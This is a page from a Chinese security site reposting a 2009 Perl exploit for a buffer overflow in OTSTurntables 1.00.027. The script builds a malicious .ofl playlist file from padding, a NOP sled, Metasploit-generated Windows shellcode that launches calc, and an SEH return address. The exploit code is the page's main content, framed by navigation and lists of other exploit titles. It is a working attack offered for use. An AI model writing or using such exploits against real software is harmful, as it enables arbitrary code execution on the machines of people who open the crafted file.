首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OTSTurntables 1.00.027 (.m3u/.ofl file) Universal BOF Exploit
来源:NullArea.Net 作者:AlpHaNiX 发布时间:2009-04-09  
#!/usr/bin/perl
# By AlpHaNiX [NullArea.Net]
# alpha[at]hacker.bz
# Made in Tunisia

my $junk      = "\x41" x 96   ;     # whatever bytes
my $nop       = "\x90" x 20   ;     # bla bla xD
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub , thanks metasploit
my $shellcode =
    "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9".
    "\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05".
    "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09".
    "\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d".
    "\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26".
    "\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64".
    "\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb".
    "\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28".
    "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44".
    "\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38".
    "\xac\x2c\xc9\x40" ;
my $ret       = "\x58\xF6\xE8\x73"; # pop ebx pop ret
my $exploit = $junk.$nop.$shellcode.$ret;
open (file,">>file.ofl");
print file $exploit;
close (file);
print "done\n";

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·GOM Player 2.1.16.6134 Subtitl
·OTSTurntables 1.00.027 (.ofl)
·Linux Kernel < 2.6.29 exit_not
·net2ftp versions 0.97 and belo
·peterConnects Web Server Trave
·SASPCMS 0.9 Multiple Remote Vu
·Geeklog <= 1.5.2 SEC_authentic
·XBMC 8.10 (HEAD) Remote Buffer
·Exjune Guestbook v2 Remote Dat
·Lanius CMS <= 0.5.2 Remote Arb
·SWF Opener 1.3 (.swf File) Off
·Family Connections CMS <= 1.8.
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved